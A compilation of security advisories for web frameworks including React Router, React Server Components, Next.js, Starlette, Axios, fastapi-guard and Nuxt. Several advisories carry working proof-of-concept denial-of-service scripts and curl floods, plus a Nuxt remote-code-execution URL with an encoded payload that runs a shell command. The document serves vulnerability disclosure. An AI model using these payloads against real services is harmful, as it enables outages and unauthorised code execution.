React Router SSR XSS in ScrollRestoration
A XSS vulnerability exists in in React Router's <ScrollRestoration> API in Framework Mode when using the getKey/storageKey props during Server-Side Rendering which could allow arbitrary JavaScript execution during SSR if untrusted content is used to generate the keys.
> [!NOTE]
> This does not impact applications if developers have disabled server-side rendering in Framework Mode, or if they are using Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>).
React Router has XSS Vulnerability
A XSS vulnerability exists in in React Router's meta()/<Meta> APIs in Framework Mode when generating script:ld+json tags which could allow arbitrary JavaScript execution during SSR if untrusted content is used to generate the tag.
> [!NOTE]
> This does not impact applications using Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>).
Next has a Denial of Service with Server Components - Incomplete Fix Follow-Up
It was discovered that the fix for CVE-2025-55184 in React Server Components was incomplete and did not fully mitigate denial-of-service conditions across all payload types. As a result, certain crafted inputs could still trigger excessive resource consumption.
This vulnerability affects React versions 19.0.2, 19.1.3, and 19.2.2, as well as frameworks that bundle or depend on these versions, including Next.js 13.x, 14.x, 15.x, and 16.x when using the App Router. The issue is tracked upstream as CVE-2025-67779.
A malicious actor can send a specially crafted HTTP request to a Server Function endpoint that, when deserialized, causes the React Server Components runtime to enter an infinite loop. This can lead to sustained CPU consumption and cause the affected server process to become unresponsive, resulting in a denial-of-service condition in unpatched environments.
Denial of Service Vulnerability in React Server Components
Impact
It was found that the fix to address CVE-2025-55184 in React Server Components was incomplete and does not prevent a denial of service attack in a specific case.
We recommend updating immediately.
The vulnerability exists in versions 19.0.2, 19.1.3, and 19.2.2 of:
react-server-dom-webpack
react-server-dom-parcel
react-server-dom-turbopack
These issues are present in the patches published on December 11th, 2025.
Patches
Fixes were back ported to versions 19.0.3, 19.1.4, and 19.2.3.
If you are using any of the above packages please upgrade to any of the fixed versions immediately.
If your app’s React code does not use a server, your app is not affected by this vulnerability. If your app does not use a framework, bundler, or bundler plugin that supports React Server Components, your app is not affected by this vulnerability.
References
See the blog post for more information and upgrade instructions.
Next Vulnerable to Denial of Service with Server Components
A vulnerability affects certain React packages for versions 19.0.0, 19.0.1, 19.1.0, 19.1.1, 19.1.2, 19.2.0, and 19.2.1 and frameworks that use the affected packages, including Next.js 15.x and 16.x using the App Router. The issue is tracked upstream as CVE-2025-55184.
A malicious HTTP request can be crafted and sent to any App Router endpoint that, when deserialized, can cause the server process to hang and consume CPU. This can result in denial of service in unpatched environments.
Denial of Service Vulnerability in React Server Components
Impact
There is a denial of service vulnerability in React Server Components.
React recommends updating immediately.
The vulnerability exists in versions 19.0.0, 19.0.1 19.1.0, 19.1.1, 19.1.2, 19.2.0 and 19.2.1 of:
react-server-dom-webpack
react-server-dom-parcel
react-server-dom-turbopack
These issues are present in the patches published last week.
Patches
Fixes were back ported to versions 19.0.2, 19.1.3, and 19.2.2.
If you are using any of the above packages please upgrade to any of the fixed versions immediately.
If your app’s React code does not use a server, your app is not affected by this vulnerability. If your app does not use a framework, bundler, or bundler plugin that supports React Server Components, your app is not affected by this vulnerability.
References
See the blog post for more information and upgrade instructions.
React Server Components are Vulnerable to RCE
Impact
There is an unauthenticated remote code execution vulnerability in React Server Components.
We recommend upgrading immediately.
The vulnerability is present in versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0 of:
react-server-dom-webpack
react-server-dom-parcel
react-server-dom-turbopack
Patches
A fix was introduced in versions 19.0.1, 19.1.2, and 19.2.1. If you are using any of the above packages please upgrade to any of the fixed versions immediately.
If your app’s React code does not use a server, your app is not affected by this vulnerability. If your app does not use a framework, bundler, or bundler plugin that supports React Server Components, your app is not affected by this vulnerability.
References
See the blog post for more information and upgrade instructions.
Next.js is vulnerable to RCE in React flight protocol
A vulnerability affects certain React packages<sup>1</sup> for versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0 and frameworks that use the affected packages, including Next.js 15.x and 16.x using the App Router. The issue is tracked upstream as CVE-2025-55182.
Fixed in:
React: 19.0.1, 19.1.2, 19.2.1
Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7, 15.6.0-canary.58, 16.1.0-canary.12+
The vulnerability also affects experimental canary releases starting with 14.3.0-canary.77. Users on any of the 14.3 canary builds should either downgrade to a 14.x stable release or 14.3.0-canary.76.
All users of stable 15.x or 16.x Next.js versions should upgrade to a patched, stable version immediately.
<sup>1</sup> The affected React packages are:
react-server-dom-parcel
react-server-dom-turbopack
react-server-dom-webpack
Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``
Summary
An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse).
Details
Starlette parses multi-range requests in `FileResponse._parse_range_header(), then merges ranges using an O(n^2) algorithm.
`python
starlette/responses.py
_RANGE_PATTERN = re.compile(r"(\d)-(\d)") # vulnerable to O(n^2) complexity ReDoS
class FileResponse(Response):
@staticmethod
def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]:
ranges: list[tuple[int, int]] = []
try:
units, range_ = http_range.split("=", 1)
except ValueError:
raise MalformedRangeHeader()
# [...]
ranges = [
(
int(_[0]) if _[0] else file_size - int(_[1]),
int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size,
)
for _ in _RANGE_PATTERN.findall(range_) # vulnerable
if _ != ("", "")
]
`
The parsing loop of FileResponse._parse_range_header() uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted Range header can maximize its complexity.
The merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.
This affects any Starlette application that uses:
starlette.staticfiles.StaticFiles (internally returns FileResponse) — starlette/staticfiles.py:178
Direct starlette.responses.FileResponse responses
PoC
`python
#!/usr/bin/env python3
import sys
import time
try:
import starlette
from starlette.responses import FileResponse
except Exception as e:
print(f"[ERROR] Failed to import starlette: {e}")
sys.exit(1)
def build_payload(length: int) -> str:
"""Build the Range header value body: '0' num_zeros + '0-'"""
return ("0" length) + "a-"
def test(header: str, file_size: int) -> float:
start = time.perf_counter()
try:
FileResponse._parse_range_header(header, file_size)
except Exception:
pass
end = time.perf_counter()
elapsed = end - start
return elapsed
def run_once(num_zeros: int) -> None:
range_body = build_payload(num_zeros)
header = "bytes=" + range_body
# Use a sufficiently large file_size so upper bounds default to file size
file_size = max(len(range_body) + 10, 1_000_000)
print(f"[DEBUG] range_body length: {len(range_body)} bytes")
elapsed_time = test(header, file_size)
print(f"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\n")
if __name__ == "__main__":
print(f"[INFO] Starlette Version: {starlette.__version__}")
for n in [5000, 10000, 20000, 40000]:
run_once(n)
"""
$ python3 poc_dos_range.py
[INFO] Starlette Version: 0.48.0
[DEBUG] range_body length: 5002 bytes
[DEBUG] elapsed time: 0.053932 seconds
[DEBUG] range_body length: 10002 bytes
[DEBUG] elapsed time: 0.209770 seconds
[DEBUG] range_body length: 20002 bytes
[DEBUG] elapsed time: 0.885296 seconds
[DEBUG] range_body length: 40002 bytes
[DEBUG] elapsed time: 3.238832 seconds
"""
``
Impact
Any Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.
Axios is vulnerable to DoS attack through lack of data size check
Summary
When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.
This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.
Details
The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.
Relevant code from [httpAdapter](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):
``js
const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);
const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);
const protocol = parsed.protocol || supportedProtocols[0];
if (protocol === 'data:') {
let convertedData;
if (method !== 'GET') {
return settle(resolve, reject, { status: 405, ... });
}
convertedData = fromDataURI(config.url, responseType === 'blob', {
Blob: config.env && config.env.Blob
});
return settle(resolve, reject, { data: convertedData, status: 200, ... });
}
`
The decoder is in [lib/helpers/fromDataURI.js](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):
`js
export default function fromDataURI(uri, asBlob, options) {
...
if (protocol === 'data') {
uri = protocol.length ? uri.slice(protocol.length + 1) : uri;
const match = DATA_URL_PATTERN.exec(uri);
...
const body = match[3];
const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');
if (asBlob) { return new _Blob([buffer], {type: mime}); }
return buffer;
}
throw new AxiosError('Unsupported protocol ' + protocol, ...);
}
`
The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.
It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.
As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.
In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.
PoC
`js
const axios = require('axios');
async function main() {
// this example decodes ~120 MB
const base64Size = 160_000_000; // 120 MB after decoding
const base64 = 'A'.repeat(base64Size);
const uri = 'data:application/octet-stream;base64,' + base64;
console.log('Generating URI with base64 length:', base64.length);
const response = await axios.get(uri, {
responseType: 'arraybuffer'
});
console.log('Received bytes:', response.data.length);
}
main().catch(err => {
console.error('Error:', err.message);
});
`
Run with limited heap to force a crash:
`bash
node --max-old-space-size=100 poc.js
`
Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:
`
<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…
`
Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.
`js
import express from "express";
import morgan from "morgan";
import axios from "axios";
import http from "node:http";
import https from "node:https";
import { PassThrough } from "node:stream";
const keepAlive = true;
const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 });
const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 });
const axiosClient = axios.create({
timeout: 10000,
maxRedirects: 5,
httpAgent, httpsAgent,
headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" },
validateStatus: c => c >= 200 && c < 400
});
const app = express();
const PORT = Number(process.env.PORT || 8081);
const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb";
app.use(express.json({ limit: BODY_LIMIT }));
app.use(morgan("combined"));
app.get("/healthz", (req,res)=>res.send("ok"));
/
POST /preview { "url": "<http|https|data URL>" }
Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector).
/
app.post("/preview", async (req, res) => {
const url = req.body?.url;
if (!url) return res.status(400).json({ error: "missing url" });
let u;
try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); }
// Developer allows using data:// in the allowlist
const allowed = new Set(["http:", "https:", "data:"]);
if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" });
const controller = new AbortController();
const onClose = () => controller.abort();
res.on("close", onClose);
const before = process.memoryUsage().heapUsed;
try {
const r = await axiosClient.get(u.toString(), {
responseType: "stream",
maxContentLength: 8 1024, // Axios will ignore this for data:
maxBodyLength: 8 1024, // Axios will ignore this for data:
signal: controller.signal
});
// stream only the first 64KB back
const cap = 64 1024;
let sent = 0;
const limiter = new PassThrough();
r.data.on("data", (chunk) => {
if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); }
else { sent += chunk.length; limiter.write(chunk); }
});
r.data.on("end", () => limiter.end());
r.data.on("error", (e) => limiter.destroy(e));
const after = process.memoryUsage().heapUsed;
res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
limiter.pipe(res);
} catch (err) {
const after = process.memoryUsage().heapUsed;
res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
res.status(502).json({ error: String(err?.message || err) });
} finally {
res.off("close", onClose);
}
});
app.listen(PORT, () => {
console.log(axios-poc-link-preview listening on http://0.0.0.0:${PORT});
console.log(Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).);
});
`
Run this app and send 3 post requests:
`sh
SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @payload.json -o /dev/null`
`
---
Suggestions
1. Enforce size limits
For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.
2. Stream decoding
Instead of decoding the entire payload in one Buffer.from` call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.
FastAPI Guard regex bypass — XSS/SQLi through middleware
Bounded regex in fastapi-guard 3.0.1 bypassed with payloads exceeding length limits.
fastapi-guard is vulnerable to ReDoS through inefficient regex
Summary
fastapi-guard detects penetration attempts by using regex patterns to scan incoming requests. However, some of the regex patterns used in detection are extremely inefficient and can cause polynomial complexity backtracks when handling specially crafted inputs.
It is not as severe as _exponential_ complexity ReDoS, but still downgrades performance and allows DoS exploits. An attacker can trigger high cpu usage and make a service unresponsive for hours by sending a single request in size of KBs.
PoC
e.g. https://github.com/rennf93/fastapi-guard/blob/1e6c2873bfc7866adcbe5fc4da72f2d79ea552e7/guard/handlers/suspatterns_handler.py#L31C79-L32C7
``python
payload = lambda n: '<'n+ ' 'n+ 'style=' + '"'n + ' 'n+ 'url('*n # complexity: O(n^5)
print(requests.post("http://172.24.1.3:8000/", data=payload(50)).elapsed) # 0:00:03.771120
print(requests.post("http://172.24.1.3:8000/", data=payload(100)).elapsed) # 0:01:17.952637
print(requests.post("http://172.24.1.3:8000/", data=payload(200)).elapsed) # timeout (>15min)
`
Single-threaded uvicorn workers can not handle any other concurrent requests during the elapsed time.
Impact
Penetration detection is enabled by default. Services that use fastapi-guard middleware without explicitly setting enable_penetration_detection=False` are vulnerable to DoS.
Next.JS vulnerability can lead to DoS via cache poisoning
Summary
A vulnerability affecting Next.js has been addressed. It impacted versions 15.0.4 through 15.1.8 and involved a cache poisoning bug leading to a Denial of Service (DoS) condition.
Under certain conditions, this issue may allow a HTTP 204 response to be cached for static pages, leading to the 204 response being served to all users attempting to access the page
More details: CVE-2025-49826
Credits
Allam Rachid zhero;
Allam Yasser (inzo)
React Router allows pre-render data spoofing on React-Router framework mode
Summary
After some research, it turns out that it's possible to modify pre-rendered data by adding a header to the request. This allows to completely spoof its contents and modify all the values of the data object passed to the HTML. Latest versions are impacted.
Details
The vulnerable header is X-React-Router-Prerender-Data, a specific JSON object must be passed to it in order for the spoofing to be successful as we will see shortly. Here is the vulnerable code :
<img width="776" alt="Capture d’écran 2025-04-07 à 05 36 58" src="https://github.com/user-attachments/assets/c95b0b33-15ce-4d30-9f5e-b10525dd6ab4" />
To use the header, React-router must be used in Framework mode, and for the attack to be possible the target page must use a loader.
Steps to reproduce
Versions used for our PoC:
"@react-router/node": "^7.5.0",
"@react-router/serve": "^7.5.0",
"react": "^19.0.0"
"react-dom": "^19.0.0"
"react-router": "^7.5.0"
1. Install React-Router with its default configuration in Framework mode (https://reactrouter.com/start/framework/installation)
2. Add a simple page using a loader (example: routes/ssr)
3. Access your page (which uses the loader) by suffixing it with .data. In our case the page is called /ssr:
!image
We access it by adding the suffix .data and retrieve the data object, needed for the header:
!image
4. Send your request by adding the X-React-Router-Prerender-Data header with the previously retrieved object as its value. You can change any value of your data object (do not touch the other values, the latter being necessary for the object to be processed correctly and not throw an error):
!Capture d’écran 2025-04-07 à 05 56 10
As you can see, all values have been changed/overwritten by the values provided via the header.
Impact
The impact is significant, if a cache system is in place, it is possible to poison a response in which all of the data transmitted via a loader would be altered by an attacker allowing him to take control of the content of the page and modify it as he wishes via a cache-poisoning attack. This can lead to several types of attacks including potential stored XSS depending on the context in which the data is injected and/or how the data is used on the client-side.
Credits
Rachid Allam (zhero;)
Yasser Allam (inzo_)
React Router allows a DoS via cache poisoning by forcing SPA mode
Summary
After some research, it turns out that it is possible to force an application to switch to SPA mode by adding a header to the request. If the application uses SSR and is forced to switch to SPA, this causes an error that completely corrupts the page. If a cache system is in place, this allows the response containing the error to be cached, resulting in a cache poisoning that strongly impacts the availability of the application.
Details
The vulnerable header is X-React-Router-SPA-Mode; adding it to a request sent to a page/endpoint using a loader throws an error. Here is the vulnerable code :
<img width="672" alt="Capture d’écran 2025-04-07 à 08 28 20" src="https://github.com/user-attachments/assets/0a0e9c41-70fd-4dba-9061-892dd6797291" />
To use the header, React-router must be used in Framework mode, and for the attack to be possible the target page must use a loader.
Steps to reproduce
Versions used for our PoC:
"@react-router/node": "^7.5.0",
"@react-router/serve": "^7.5.0",
"react": "^19.0.0"
"react-dom": "^19.0.0"
"react-router": "^7.5.0"
1. Install React-Router with its default configuration in Framework mode (https://reactrouter.com/start/framework/installation)
2. Add a simple page using a loader (example: routes/ssr)
!image
3. Send a request to the endpoint using the loader (/ssr in our case) adding the following header:
``
X-React-Router-SPA-Mode: yes
``
Notice the difference between a request with and without the header;
Normal request
!Capture d’écran 2025-04-07 à 08 36 27
With the header
!Capture d’écran 2025-04-07 à 08 37 01
!image
Impact
If a system cache is in place, it is possible to poison the response by completely altering its content (by an error message), strongly impacting its availability, making the latter impractical via a cache-poisoning attack.
Credits
Rachid Allam (zhero;)
Yasser Allam (inzo_)
Starlette Denial of service (DoS) via multipart/form-data
Summary
Starlette treats multipart/form-data parts without a filename as text form fields and buffers those in byte strings with no size limit. This allows an attacker to upload arbitrary large form fields and cause Starlette to both slow down significantly due to excessive memory allocations and copy operations, and also consume more and more memory until the server starts swapping and grinds to a halt, or the OS terminates the server process with an OOM error. Uploading multiple such requests in parallel may be enough to render a service practically unusable, even if reasonable request size limits are enforced by a reverse proxy in front of Starlette.
PoC
``python
from starlette.applications import Starlette
from starlette.routing import Route
async def poc(request):
async with request.form():
pass
app = Starlette(routes=[
Route('/', poc, methods=["POST"]),
])
`
`sh
curl http://localhost:8000 -F 'big=</dev/urandom'
``
Impact
This Denial of service (DoS) vulnerability affects all applications built with Starlette (or FastAPI) accepting form requests.
body-parser vulnerable to denial of service when url encoding is enabled
Impact
body-parser <1.20.3 is vulnerable to denial of service when url encoding is enabled. A malicious actor using a specially crafted payload could flood the server with a large number of requests, resulting in denial of service.
Patches
this issue is patched in 1.20.3
References
Server-Side Request Forgery in axios
axios 1.7.2 allows SSRF via unexpected behavior where requests for path relative URLs get processed as protocol relative URLs.
Nuxt vulnerable to remote code execution via the browser when running the test locally
Summary
Due to the insufficient validation of the path parameter in the NuxtTestComponentWrapper, an attacker can execute arbitrary JavaScript on the server side, which allows them to execute arbitrary commands.
Details
While running the test, a special component named NuxtTestComponentWrapper is available.
https://github.com/nuxt/nuxt/blob/4779f5906fa4d3c784c2e2d6fe5a5c5f181faaec/packages/nuxt/src/app/components/nuxt-root.vue#L42-L43
This component loads the specified path as a component and renders it.
https://github.com/nuxt/nuxt/blob/4779f5906fa4d3c784c2e2d6fe5a5c5f181faaec/packages/nuxt/src/app/components/test-component-wrapper.ts#L9-L27
There is a validation for the path parameter to check whether the path traversal is performed, but this check is not sufficient.
https://github.com/nuxt/nuxt/blob/4779f5906fa4d3c784c2e2d6fe5a5c5f181faaec/packages/nuxt/src/app/components/test-component-wrapper.ts#L15-L19
Since import(...) uses query.path instead of the normalized path, a non-normalized URL can reach the import(...) function.
For example, passing something like ./components/test normalizes path to /root/directory/components/test, but import(...) still receives ./components/test.
By using this behavior, it's possible to load arbitrary JavaScript by using the path like the following:
``
data:text/javascript;base64,Y29uc29sZS5sb2coMSk
`
Since resolve(...) resolves the filesystem path, not the URI, the above URI is treated as a relative path, but import(...) sees it as an absolute URI, and loads it as a JavaScript.
PoC
1. Create a nuxt project and run it in the test mode:
`
npx nuxi@latest init test
cd test
TEST=true npm run dev
`
2. Open the following URL:
`
http://localhost:3000/__nuxt_component_test__/?path=data%3Atext%2Fjavascript%3Bbase64%2CKGF3YWl0IGltcG9ydCgnZnMnKSkud3JpdGVGaWxlU3luYygnL3RtcC90ZXN0JywgKGF3YWl0IGltcG9ydCgnY2hpbGRfcHJvY2VzcycpKS5zcGF3blN5bmMoIndob2FtaSIpLnN0ZG91dCwgJ3V0Zi04Jyk
`
3. Confirm that the output of whoami is written to /tmp/test`
Demonstration video: https://www.youtube.com/watch?v=FI6mN8WbcE4
Impact
Users who open a malicious web page in the browser while running the test locally are affected by this vulnerability, which results in the remote code execution from the malicious web page.
Since web pages can send requests to arbitrary addresses, a malicious web page can repeatedly try to exploit this vulnerability, which then triggers the exploit when the test server starts.
Next.js Denial of Service (DoS) condition
Impact
A Denial of Service (DoS) condition was identified in Next.js. Exploitation of the bug can trigger a crash, affecting the availability of the server.
This vulnerability can affect all Next.js deployments on the affected versions.
Patches
This vulnerability was resolved in Next.js 13.5 and later. We recommend that users upgrade to a safe version.
Workarounds
There are no official workarounds for this vulnerability.
Credit
Thai Vu of flyseccorp.com
Aonan Guan (@0dd), Senior Cloud Security Engineer